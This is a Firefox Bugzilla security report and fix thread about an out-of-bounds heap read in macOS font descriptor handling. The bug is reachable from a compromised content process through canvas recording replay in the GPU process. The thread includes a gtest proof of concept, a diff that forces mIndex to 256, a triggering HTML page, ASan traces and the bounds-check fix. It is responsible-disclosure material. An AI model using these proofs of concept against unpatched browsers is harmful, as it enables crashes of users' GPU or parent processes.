UnscaledFontMac::CreateFromFontDescriptor OOB Heap Read
Categories
(Core :: Graphics: Text, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: lsalzman)
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])
Attachments
(4 files, 1 obsolete file)
|
12.80 KB,
text/plain
|
Details | |
|
1015 bytes,
text/html
|
Details | |
|
1.08 KB,
patch
|
Details | Diff | Splinter Review | |
|
48 bytes,
text/x-phabricator-request
|
pascalc
:
approval-mozilla-beta+
RyanVM
:
approval-mozilla-esr115-
RyanVM
:
approval-mozilla-esr140+
|
Details | Review |
Compromised content process -> GPU process via CanvasTranslator replay. macOS only.
UnscaledFontMac::CreateFromFontDescriptor (ScaledFontMac.cpp:792) passes aIndex as the byte count to CFStringCreateWithBytes, but nothing validates aIndex <= aDataLength. RecordedFontDescriptor deserialization (RecordedEventImpl.h:4224) reads mIndex without validating against mData.size(). On macOS, aIndex is the font name string length within the data buffer, not a face index. With mData = [4 bytes] and mIndex = 256, CFStringCreateWithBytes reads 256 bytes from a 4-byte buffer.
Other platforms are safe: DWrite validates aIndex against numFaces, Fontconfig and FreeType store it without memory access, GDI ignores it.
The Bug
ScaledFontMac.cpp:785-793:
already_AddRefed<UnscaledFont> UnscaledFontMac::CreateFromFontDescriptor(
const uint8_t* aData, uint32_t aDataLength, uint32_t aIndex) {
if (aDataLength == 0) { // only checks for ZERO
return nullptr;
}
AutoRelease<CFStringRef> name(
CFStringCreateWithBytes(kCFAllocatorDefault, (const UInt8*)aData, aIndex,
kCFStringEncodingUTF8, false)); // aIndex as byte count, not aDataLength
RecordedEventImpl.h:4220-4235 deserializes mIndex without validation:
ReadElement(aStream, mIndex); // no check against mData.size()
ASAN Proof
==74475==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020002283f4
READ of size 256 at 0x6020002283f4 thread T0
#0 memcpy (libclang_rt.asan_osx_dynamic.dylib)
#1 __CFStringCreateImmutableFunnel3 (CoreFoundation)
#2 UnscaledFontMac::CreateFromFontDescriptor (XUL)
0x6020002283f4 is located 0 bytes after 4-byte region [0x6020002283f0,0x6020002283f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (CoreFoundation) in __CFStringCreateImmutableFunnel3
PoC
gfx/tests/gtest/TestFontDescriptorOOB.cpp:
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "mozilla/gfx/2D.h"
using namespace mozilla::gfx;
TEST(FontDescriptorOOB, IndexExceedsDataLength) {
const size_t bufSize = 4;
uint8_t* fontDescData = new uint8_t[bufSize];
fontDescData[0] = 'T';
fontDescData[1] = 'e';
fontDescData[2] = 's';
fontDescData[3] = 't';
// mIndex = 256 >> bufSize = 4.
// On macOS: CFStringCreateWithBytes reads 256 bytes from 4-byte buffer.
uint32_t maliciousIndex = 256;
RefPtr<UnscaledFont> font = Factory::CreateUnscaledFontFromFontDescriptor(
FontType::MAC, fontDescData, bufSize, maliciousIndex);
(void)font;
delete[] fontDescData;
}
Run: ./mach gtest "FontDescriptorOOB.IndexExceedsDataLength"
Fix
if (aDataLength == 0 || aIndex > aDataLength) {
gfxWarning() << "Mac font descriptor is truncated.";
return nullptr;
}
Updated•6 months ago
|
Updated•6 months ago
|
| Reporter | ||
Comment 1•6 months ago
|
||
UnscaledFontMac::CreateFromFontDescriptor (ScaledFontMac.cpp:792) passes aIndex as the byte count to CFStringCreateWithBytes, but no code validates aIndex <= aDataLength. RecordedFontDescriptor deserialization (RecordedEventImpl.h:4224) reads mIndex without validating against mData.size(). On macOS, aIndex is the font name string length within the data buffer. With mData holding a 42-byte font descriptor and mIndex = 256, CoreFoundation reads 214 bytes past the buffer.
ScaledFontMac.cpp:785-793:
already_AddRefed<UnscaledFont> UnscaledFontMac::CreateFromFontDescriptor(
const uint8_t* aData, uint32_t aDataLength, uint32_t aIndex) {
if (aDataLength == 0) { // only checks for ZERO
return nullptr;
}
AutoRelease<CFStringRef> name(
CFStringCreateWithBytes(kCFAllocatorDefault, (const UInt8*)aData, aIndex, // aIndex as byte count
kCFStringEncodingUTF8, false));
RecordedEventImpl.h:4224 deserializes mIndex with no bounds check:
ReadElement(aStream, mIndex); // no check against mData.size()
Other platforms are safe. DWrite validates aIndex against numFaces. Fontconfig and FreeType store it without memory access.
IPC path: content process records RecordedFontDescriptor via DrawTargetRecording when drawing text on a canvas. The recording is replayed in the GPU process via CanvasTranslator::TranslateRecording -> RecordedFontDescriptor::PlayEvent -> Factory::CreateUnscaledFontFromFontDescriptor -> UnscaledFontMac::CreateFromFontDescriptor. Content controls mIndex through the canvas recording stream.
Fix at ScaledFontMac.cpp:787:
if (aDataLength == 0 || aIndex > aDataLength) {
gfxWarning() << "Mac font descriptor is truncated.";
return nullptr;
}
Content-side IPC patch
Patches RecordedFontDescriptor::SetFontDescriptor to override mIndex to 256 when the content process records a font descriptor. GPU process replays the event, CreateFromFontDescriptor passes the inflated index to CFStringCreateWithBytes.
diff --git a/gfx/2d/RecordedEventImpl.h b/gfx/2d/RecordedEventImpl.h
index 4159355174ad..2f021ebba442 100644
--- a/gfx/2d/RecordedEventImpl.h
+++ b/gfx/2d/RecordedEventImpl.h
@@ -4213,7 +4213,9 @@ inline void RecordedFontDescriptor::SetFontDescriptor(const uint8_t* aData,
uint32_t aSize,
uint32_t aIndex) {
mData.Assign(aData, aSize);
- mIndex = aIndex;
+ // PoC: override mIndex to exceed mData.size(), triggering OOB read
+ // in UnscaledFontMac::CreateFromFontDescriptor (macOS) or similar
+ mIndex = 256;
}
template <class S>
HTML PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Font Descriptor OOB Heap Read - IPC PoC (Finding #19)</title>
</head>
<body>
<canvas id="c" width="400" height="200"></canvas>
<pre id="log"></pre>
<script>
document.getElementById('log').textContent =
'Finding #19: Font Descriptor OOB Read (macOS only)\n' +
'Content -> GPU via CanvasTranslator\n\n';
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
ctx.fillStyle = '#333';
ctx.fillRect(0, 0, 400, 200);
ctx.fillStyle = 'white';
const fonts = [
'24px serif',
'20px sans-serif',
'18px monospace',
'16px Georgia',
'14px "Helvetica Neue"'
];
fonts.forEach((font, i) => {
ctx.font = font;
ctx.fillText('Finding #19 - Font Descriptor OOB', 20, 40 + i * 30);
});
document.getElementById('log').textContent +=
'Text rendered with ' + fonts.length + ' fonts.\n' +
'Each font triggers RecordedFontDescriptor with crafted mIndex=256.\n' +
'Check ASan output (macOS only).\n';
</script>
</body>
</html>
Steps to reproduce
git apply pocs/font_descriptor_oob_ipc.patch./mach build./mach run(ASan build, non-headless, macOS)- Open the HTML PoC above (or
pocs/font_descriptor_oob_ipc.html) - The page draws text on a canvas, triggering
RecordedFontDescriptorwith craftedmIndex=256 - GPU process replays the event,
CFStringCreateWithBytesreads 256 bytes from a 42-byte buffer
Headless mode uses SWGL (no GPU process), so the IPC path requires non-headless mode on macOS.
ASan Output (IPC, GPU process)
==46020==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040006014ba at pc 0x0001022e0d50 bp 0x0001711dad50 sp 0x0001711da500
READ of size 256 at 0x6040006014ba thread T22
#0 memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x50d4c)
#1 __CFStringCreateImmutableFunnel3+0xa90 (CoreFoundation:arm64+0x3044)
#2 mozilla::gfx::UnscaledFontMac::CreateFromFontDescriptor+0x124 (XUL:arm64+0x31a4ee8)
#3 mozilla::gfx::Factory::CreateUnscaledFontFromFontDescriptor+0xf4 (XUL:arm64+0x31177f0)
#4 mozilla::gfx::RecordedFontDescriptor::PlayEvent+0x14c (XUL:arm64+0x30b48f4)
#5 mozilla::layers::CanvasTranslator::TranslateRecording()::$_0 (XUL:arm64+0x35ba894)
#6 mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>+0x29c0 (XUL:arm64+0x3064dfc)
#7 mozilla::layers::CanvasTranslator::TranslateRecording()+0x274 (XUL:arm64+0x3583da4)
0x6040006014ba is located 0 bytes after 42-byte region [0x604000601490,0x6040006014ba)
SUMMARY: AddressSanitizer: heap-buffer-overflow (CoreFoundation:arm64+0x3044) in __CFStringCreateImmutableFunnel3+0xa90
Updated•6 months ago
|
Comment 2•6 months ago
|
||
I've confirmed this crash on MacOS.
Comment 3•6 months ago
|
||
Comment 4•6 months ago
|
||
Comment 5•6 months ago
|
||
Here's the patch for Firefox. Note I modified the patch slightly to only use the modified behavior in the content process, so it is easy to see that's where it is going (it doesn't seem to run in any other process).
Comment 6•6 months ago
|
||
Oops, I didn't update the patch.
Updated•6 months ago
|
Comment 7•6 months ago
|
||
It looks like this will cause the other process to read extra data into the name string (assuming the OOB doesn't cause it to crash). How does that help you with a sandbox escape? or do much of anything, really?
Updated•6 months ago
|
| Reporter | ||
Comment 8•6 months ago
|
||
You're right, the exfiltration path is weak. CFStringCreateWithBytes with kCFStringEncodingUTF8 rejects most heap garbage, and even if it produces a valid string, CGFontCreateWithFontName is just a dictionary lookup, content can't observe the result.
The real concern is crash. mIndex comes straight from RecordedFontDescriptor deserialization (RecordedEventImpl.h:4224) with zero validation against mData.size(). Set it to something large and CFStringCreateWithBytes memcpys that many bytes from a tiny buffer, hits unmapped pages, takes down the GPU process. layers.gpu-process.allow-fallback-to-parent is true by default, so repeated GPU crashes eventually fall back to parent compositing where InlineTranslator runs the same code. I don't think this would be a sandbox-escape, the crash is the best we can do here from my knowledge.
Comment 9•6 months ago
|
||
The severity field is not set for this bug.
:lsalzman, could you have a look please?
For more information, please visit BugBot documentation.
| Assignee | ||
Updated•6 months ago
|
| Assignee | ||
Updated•6 months ago
|
| Assignee | ||
Comment 10•6 months ago
|
||
Updated•6 months ago
|
| Assignee | ||
Updated•6 months ago
|
| Assignee | ||
Comment 11•6 months ago
|
||
Comment on attachment 9550441 [details]
(secure)
Beta/Release Uplift Approval Request
- User impact if declined/Reason for urgency: Potential crashes on Mac in parent/GPU process.
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: Yes
- Needs manual test from QE?: No
- If yes, steps to reproduce:
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Innocuous feel-good change to prevent a theoretical out-of-bounds access that shouldn't impact normal code.
- String changes made/needed:
- Is Android affected?: No
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined:
- Fix Landed on Version: 150
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky):
Comment 12•6 months ago
|
||
Comment 13•6 months ago
|
||
Updated•5 months ago
|
Comment 14•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Updated•5 months ago
|
Comment 15•5 months ago
|
||
Comment on attachment 9550441 [details]
(secure)
Approved for 140.9esr.
Updated•5 months ago
|
Comment 16•5 months ago
|
||
| uplift | ||
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•4 months ago
|
Updated•1 month ago
|
Description
•